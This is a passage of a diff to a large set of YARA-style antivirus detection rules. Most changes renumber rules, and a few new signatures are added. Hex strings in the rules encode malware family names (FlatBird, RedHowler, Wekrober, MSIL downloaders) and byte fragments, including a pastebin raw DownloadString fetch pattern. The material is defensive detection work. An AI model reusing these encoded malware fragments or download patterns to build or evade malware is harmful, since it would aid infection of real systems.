00 0e 00 05 00 21 " @@ -104617,7 +111400,7 @@ rule _InfrastructureShared_9702{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26691+(#a_07_2 & 1)*4359+(#a_5d_3 & 1)*9765+(#a_72_4 & 1)*18035) >=14 } -rule _InfrastructureShared_9703{ +rule _InfrastructureShared_10320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0c 00 04 00 21 " @@ -104630,7 +111413,7 @@ rule _InfrastructureShared_9703{ ((#a_4c_0 & 1)*21539+(#a_d6_1 & 1)*656+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2) >=12 } -rule _InfrastructureShared_9704{ +rule _InfrastructureShared_10321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -104642,7 +111425,7 @@ rule _InfrastructureShared_9704{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*22273+(#a_65_3 & 1)*26960) >=16 } -rule _InfrastructureShared_9705{ +rule _InfrastructureShared_10322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -104654,12 +111437,12 @@ rule _InfrastructureShared_9705{ $a_6e_4 = {74 20 66 69 6e 64 20 74 68 65 20 66 6f 72 77 61 72 64 2e 0a 00 1b 01 63 72 65 61 74 65 20 64 6e 73 20 72 65 73 6f 6c 74 69 6f 6e 20 74 68 72 65 61 64 0a 00 0b 01 75 6e 6b 6e 6f 77 20 68 6f 73 74 1e 00 12 40 b8 28 02 00 00 c6 01 00 48 ff c1 48 83 e8 01 75 f4 e8 00 00 78 90 00 00 01 00 01 00 } //25345 $a_23_5 = {4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 47 65 6e } //1 LF:HSTR:TrojanDownloader:MSIL/Gen $a_64_6 = {77 2e 41 43 21 62 69 74 00 01 00 52 03 2f 00 2f 00 68 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2f 00 90 02 30 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 90 02 60 2e 00 74 00 78 00 74 00 90 00 00 00 78 90 00 00 01 00 01 00 01 00 21 } //24941 - $a_54_7 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 36 33 21 4d 54 42 00 01 00 5c 01 16 13 08 2b 47 00 11 08 11 04 5d 13 09 11 08 11 05 5d 13 0a 11 08 17 58 11 04 5d 13 0b 07 11 09 91 08 11 0a 91 61 13 0c 20 00 01 00 00 } //18467 + $a_46_7 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 42 69 72 64 2e 41 21 64 68 61 00 01 00 62 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 32 79 35 66 30 68 47 58 7a 74 36 69 68 43 34 47 30 61 4a 5a 2f 75 50 61 39 65 7a 6b 6c 5f } //16675 condition: - ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17664+(#a_11_2 & 1)*823+(#a_02_3 & 1)*2065+(#a_6e_4 & 1)*25345+(#a_23_5 & 1)*1+(#a_64_6 & 1)*24941+(#a_54_7 & 1)*18467) >=17 + ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17664+(#a_11_2 & 1)*823+(#a_02_3 & 1)*2065+(#a_6e_4 & 1)*25345+(#a_23_5 & 1)*1+(#a_64_6 & 1)*24941+(#a_46_7 & 1)*16675) >=17 } -rule _InfrastructureShared_9706{ +rule _InfrastructureShared_10323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -104670,19 +111453,19 @@ rule _InfrastructureShared_9706{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28632) >=20 } -rule _InfrastructureShared_9707{ +rule _InfrastructureShared_10324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 6e 6b 79 56 65 63 74 6f 72 2e 41 21 64 68 61 00 0a 00 17 01 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 66 6f 72 77 61 72 64 2e 0a 00 1b 01 63 72 65 61 74 65 20 64 6e 73 20 } //16675 $a_6f_1 = {74 69 6f 6e 20 74 68 72 65 61 64 0a 00 0b 01 75 6e 6b 6e 6f 77 20 68 6f 73 74 1e 00 12 40 b8 28 02 00 00 c6 01 00 48 ff c1 48 83 e8 01 75 f4 e8 00 00 78 90 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 47 65 6e 6d 61 6c 64 6f 77 2e 41 43 21 62 69 74 00 01 00 52 03 2f } //25970 - $a_00_3 = {74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2f 00 90 02 30 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 90 02 60 2e 00 74 00 78 00 74 00 90 00 00 00 78 90 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 } //97 + $a_00_3 = {74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2f 00 90 02 30 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 90 02 60 2e 00 74 00 78 00 74 00 90 00 00 00 78 90 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 42 69 72 64 2e 41 21 64 } //97 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25970+(#a_00_3 & 1)*97) >=30 } -rule _InfrastructureShared_9708{ +rule _InfrastructureShared_10325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104692,7 +111475,17 @@ rule _InfrastructureShared_9708{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9709{ +rule _InfrastructureShared_10326{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 42 69 72 64 2e 41 21 64 68 61 00 01 00 62 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 32 79 35 66 30 68 47 58 7a 74 36 69 68 43 34 47 30 61 4a 5a 2f 75 50 61 39 65 7a 6b 6c 5f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_10327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104702,7 +111495,7 @@ rule _InfrastructureShared_9709{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9710{ +rule _InfrastructureShared_10328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104712,7 +111505,7 @@ rule _InfrastructureShared_9710{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9711{ +rule _InfrastructureShared_10329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104722,7 +111515,7 @@ rule _InfrastructureShared_9711{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9712{ +rule _InfrastructureShared_10330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104732,7 +111525,7 @@ rule _InfrastructureShared_9712{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9713{ +rule _InfrastructureShared_10331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104742,7 +111535,7 @@ rule _InfrastructureShared_9713{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9714{ +rule _InfrastructureShared_10332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104752,7 +111545,7 @@ rule _InfrastructureShared_9714{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9715{ +rule _InfrastructureShared_10333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104762,7 +111555,7 @@ rule _InfrastructureShared_9715{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9716{ +rule _InfrastructureShared_10334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104772,7 +111565,7 @@ rule _InfrastructureShared_9716{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9717{ +rule _InfrastructureShared_10335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104782,7 +111575,7 @@ rule _InfrastructureShared_9717{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9718{ +rule _InfrastructureShared_10336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104792,7 +111585,7 @@ rule _InfrastructureShared_9718{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9719{ +rule _InfrastructureShared_10337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104802,7 +111595,17 @@ rule _InfrastructureShared_9719{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9720{ +rule _InfrastructureShared_10338{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 48 6f 77 6c 65 72 2e 41 00 01 00 65 03 48 83 ec 20 90 03 01 01 48 4c 89 90 01 01 b2 90 04 01 06 41 2d 7a 30 2d 39 e8 90 01 04 48 83 c4 20 90 02 04 01 48 83 ec 20 90 03 01 01 48 4c } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_10339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -104812,7 +111615,7 @@ rule _InfrastructureShared_9720{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9721{ +rule _InfrastructureShared_10340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104823,7 +111626,7 @@ rule _InfrastructureShared_9721{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*11568) >=1 } -rule _InfrastructureShared_9722{ +rule _InfrastructureShared_10341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104834,7 +111637,7 @@ rule _InfrastructureShared_9722{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*12589) >=1 } -rule _InfrastructureShared_9723{ +rule _InfrastructureShared_10342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104845,7 +111648,7 @@ rule _InfrastructureShared_9723{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*13613) >=1 } -rule _InfrastructureShared_9724{ +rule _InfrastructureShared_10343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104856,7 +111659,7 @@ rule _InfrastructureShared_9724{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*13869) >=1 } -rule _InfrastructureShared_9725{ +rule _InfrastructureShared_10344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104867,7 +111670,7 @@ rule _InfrastructureShared_9725{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-15741) >=1 } -rule _InfrastructureShared_9726{ +rule _InfrastructureShared_10345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -104878,7 +111681,7 @@ rule _InfrastructureShared_9726{ ((#a_4c_0 & 1)*21539+(#a_f8_1 & 1)*513) >=1 } -rule _InfrastructureShared_9727{ +rule _InfrastructureShared_10346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -104890,7 +111693,7 @@ rule _InfrastructureShared_9727{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*11571+(#a_90_2 & 1)*0) >=1 } -rule _InfrastructureShared_9728{ +rule _InfrastructureShared_10347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -104902,7 +111705,7 @@ rule _InfrastructureShared_9728{ ((#a_63_0 & 1)*16931+(#a_14_1 & 1)*799+(#a_03_2 & 1)*1) >=1 } -rule _InfrastructureShared_9729{ +rule _InfrastructureShared_10348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -104914,7 +111717,7 @@ rule _InfrastructureShared_9729{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21899+(#a_64_2 & 1)*11622) >=1 } -rule _InfrastructureShared_9730{ +rule _InfrastructureShared_10349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -104926,7 +111729,7 @@ rule _InfrastructureShared_9730{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28479+(#a_b6_2 & 1)*-6067) >=1 } -rule _InfrastructureShared_9731{ +rule _InfrastructureShared_10350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -104940,7 +111743,7 @@ rule _InfrastructureShared_9731{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25710+(#a_65_2 & 1)*26977+(#a_6a_3 & 1)*29268+(#a_89_4 & 1)*-5) >=1 } -rule _InfrastructureShared_9732{ +rule _InfrastructureShared_10351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -104951,7 +111754,7 @@ rule _InfrastructureShared_9732{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27393) >=2 } -rule _InfrastructureShared_9733{ +rule _InfrastructureShared_10352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -104962,7 +111765,7 @@ rule _InfrastructureShared_9733{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-5) >=2 } -rule _InfrastructureShared_9734{ +rule _InfrastructureShared_10353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -104973,7 +111776,7 @@ rule _InfrastructureShared_9734{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*656) >=2 } -rule _InfrastructureShared_9735{ +rule _InfrastructureShared_10354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -104984,7 +111787,7 @@ rule _InfrastructureShared_9735{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*400) >=2 } -rule _InfrastructureShared_9736{ +rule _InfrastructureShared_10355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -104995,7 +111798,7 @@ rule _InfrastructureShared_9736{ ((#a_46_0 & 1)*21283+(#a_75_1 & 1)*-14591) >=2 } -rule _InfrastructureShared_9737{ +rule _InfrastructureShared_10356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -105005,7 +111808,7 @@ rule _InfrastructureShared_9737{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_9738{ +rule _InfrastructureShared_10357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -105016,7 +111819,7 @@ rule _InfrastructureShared_9738{ ((#a_6f_0 & 1)*21539+(#a_63_1 & 1)*30063) >=2 } -rule _InfrastructureShared_9739{ +rule _InfrastructureShared_10358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -105027,7 +111830,7 @@ rule _InfrastructureShared_9739{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*121) >=2 } -rule _InfrastructureShared_9740{ +rule _InfrastructureShared_10359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -105038,7 +111841,7 @@ rule _InfrastructureShared_9740{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*-4539) >=2 } -rule _InfrastructureShared_9741{ +rule _InfrastructureShared_10360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -105049,7 +111852,7 @@ rule _InfrastructureShared_9741{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*45) >=2 } -rule _InfrastructureShared_9742{ +rule _InfrastructureShared_10361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -105062,7 +111865,7 @@ rule _InfrastructureShared_9742{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*29555+(#a_61_2 & 1)*8292+(#a_c6_3 & 1)*-3515) >=2 } -rule _InfrastructureShared_9743{ +rule _InfrastructureShared_10362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -105075,7 +111878,7 @@ rule _InfrastructureShared_9743{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*400+(#a_d4_2 & 1)*-29724+(#a_d1_3 & 1)*400) >=2 } -rule _InfrastructureShared_9744{ +rule _InfrastructureShared_10363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -105088,7 +111891,7 @@ rule _InfrastructureShared_9744{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*3584+(#a_4e_2 & 1)*24258+(#a_6a_3 & 1)*29268) >=2 } -rule _InfrastructureShared_9745{ +rule _InfrastructureShared_10364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -105102,7 +111905,7 @@ rule _InfrastructureShared_9745{ ((#a_77_0 & 1)*19491+(#a_76_1 & 1)*25939+(#a_6c_2 & 1)*28532+(#a_2e_3 & 1)*29793+(#a_2f_4 & 1)*18771) >=2 } -rule _InfrastructureShared_9746{ +rule _InfrastructureShared_10365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105114,7 +111917,7 @@ rule _InfrastructureShared_9746{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12079+(#a_65_2 & 1)*23662) >=3 } -rule _InfrastructureShared_9747{ +rule _InfrastructureShared_10366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105126,7 +111929,7 @@ rule _InfrastructureShared_9747{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30766+(#a_90_2 & 1)*1027) >=3 } -rule _InfrastructureShared_9748{ +rule _InfrastructureShared_10367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105138,7 +111941,7 @@ rule _InfrastructureShared_9748{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28616+(#a_01_2 & 1)*1299) >=3 } -rule _InfrastructureShared_9749{ +rule _InfrastructureShared_10368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105150,7 +111953,7 @@ rule _InfrastructureShared_9749{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27760+(#a_62_2 & 1)*24883) >=3 } -rule _InfrastructureShared_9750{ +rule _InfrastructureShared_10369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105162,7 +111965,7 @@ rule _InfrastructureShared_9750{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_69_2 & 1)*538) >=3 } -rule _InfrastructureShared_9751{ +rule _InfrastructureShared_10370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105174,7 +111977,7 @@ rule _InfrastructureShared_9751{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*4359+(#a_36_2 & 1)*29537) >=3 } -rule _InfrastructureShared_9752{ +rule _InfrastructureShared_10371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105186,7 +111989,7 @@ rule _InfrastructureShared_9752{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_6c_2 & 1)*30067) >=3 } -rule _InfrastructureShared_9753{ +rule _InfrastructureShared_10372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105197,7 +112000,7 @@ rule _InfrastructureShared_9753{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*24938) >=3 } -rule _InfrastructureShared_9754{ +rule _InfrastructureShared_10373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -105209,7 +112012,7 @@ rule _InfrastructureShared_9754{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*25938+(#a_00_2 & 1)*46) >=3 } -rule _InfrastructureShared_9755{ +rule _InfrastructureShared_10374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -105221,7 +112024,7 @@ rule _InfrastructureShared_9755{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_25_3 & 1)*12337) >=3 } -rule _InfrastructureShared_9756{ +rule _InfrastructureShared_10375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -105234,7 +112037,7 @@ rule _InfrastructureShared_9756{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20481+(#a_00_2 & 1)*109+(#a_53_3 & 1)*8448) >=3 } -rule _InfrastructureShared_9757{ +rule _InfrastructureShared_10376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -105246,7 +112049,7 @@ rule _InfrastructureShared_9757{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*6656+(#a_00_3 & 1)*99) >=3 } -rule _InfrastructureShared_9758{ +rule _InfrastructureShared_10377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -105259,7 +112062,7 @@ rule _InfrastructureShared_9758{ ((#a_46_0 & 1)*21283+(#a_71_1 & 1)*28261+(#a_66_2 & 1)*29477+(#a_01_3 & 1)*2) >=3 } -rule _InfrastructureShared_9759{ +rule _InfrastructureShared_10378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -105272,7 +112075,7 @@ rule _InfrastructureShared_9759{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*16720+(#a_48_2 & 1)*21061+(#a_69_3 & 1)*27439) >=3 } -rule _InfrastructureShared_9760{ +rule _InfrastructureShared_10379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -105283,7 +112086,7 @@ rule _InfrastructureShared_9760{ ((#a_46_0 & 1)*16675+(#a_63_2 & 1)*28779) >=3 } -rule _InfrastructureShared_9761{ +rule _InfrastructureShared_10380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -105296,7 +112099,7 @@ rule _InfrastructureShared_9761{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*115+(#a_72_3 & 1)*25710+(#a_03_4 & 1)*-28561) >=3 } -rule _InfrastructureShared_9762{ +rule _InfrastructureShared_10381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105309,7 +112112,7 @@ rule _InfrastructureShared_9762{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28561+(#a_00_2 & 1)*-12238+(#a_63_3 & 1)*25959) >=4 } -rule _InfrastructureShared_9763{ +rule _InfrastructureShared_10382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105322,7 +112125,7 @@ rule _InfrastructureShared_9763{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25427+(#a_6c_2 & 1)*24931+(#a_33_3 & 1)*12625) >=4 } -rule _InfrastructureShared_9764{ +rule _InfrastructureShared_10383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105335,7 +112138,7 @@ rule _InfrastructureShared_9764{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_69_2 & 1)*385+(#a_6e_3 & 1)*25971) >=4 } -rule _InfrastructureShared_9765{ +rule _InfrastructureShared_10384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105348,7 +112151,7 @@ rule _InfrastructureShared_9765{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27745+(#a_20_2 & 1)*26988+(#a_56_3 & 1)*11890) >=4 } -rule _InfrastructureShared_9766{ +rule _InfrastructureShared_10385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105361,7 +112164,7 @@ rule _InfrastructureShared_9766{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24948+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_9767{ +rule _InfrastructureShared_10386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105374,7 +112177,7 @@ rule _InfrastructureShared_9767{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28277+(#a_fa_2 & 1)*18435+(#a_69_3 & 1)*25965) >=4 } -rule _InfrastructureShared_9768{ +rule _InfrastructureShared_10387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105387,7 +112190,7 @@ rule _InfrastructureShared_9768{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_90_3 & 1)*0) >=4 } -rule _InfrastructureShared_9769{ +rule _InfrastructureShared_10388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -105399,7 +112202,7 @@ rule _InfrastructureShared_9769{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*28777+(#a_6b_2 & 1)*29285) >=4 } -rule _InfrastructureShared_9770{ +rule _InfrastructureShared_10389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -105413,7 +112216,7 @@ rule _InfrastructureShared_9770{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29793+(#a_93_2 & 1)*-25961+(#a_00_3 & 1)*66+(#a_85_4 & 1)*-9845) >=4 } -rule _InfrastructureShared_9771{ +rule _InfrastructureShared_10390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 05 00 21 " @@ -105421,24 +112224,46 @@ rule _InfrastructureShared_9771{ $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 62 65 72 2e 41 00 04 00 12 01 85 97 9a 89 93 88 97 89 97 95 87 8a 8d ce 99 8d 8f cd 02 00 08 01 94 88 88 8c 89 c2 cd cd 02 00 15 01 d3 c4 b7 c0 c3 c0 c6 c8 b7 09 c8 b5 b4 c8 bd c0 af } //18467 $a_ba_1 = {00 10 01 de b5 b8 be b6 01 bc b4 01 bb b8 b3 b8 ae b9 01 01 00 13 01 bd b2 b3 aa b5 b2 c0 bd 01 af bc b0 ac bc af b8 bd b2 f3 00 00 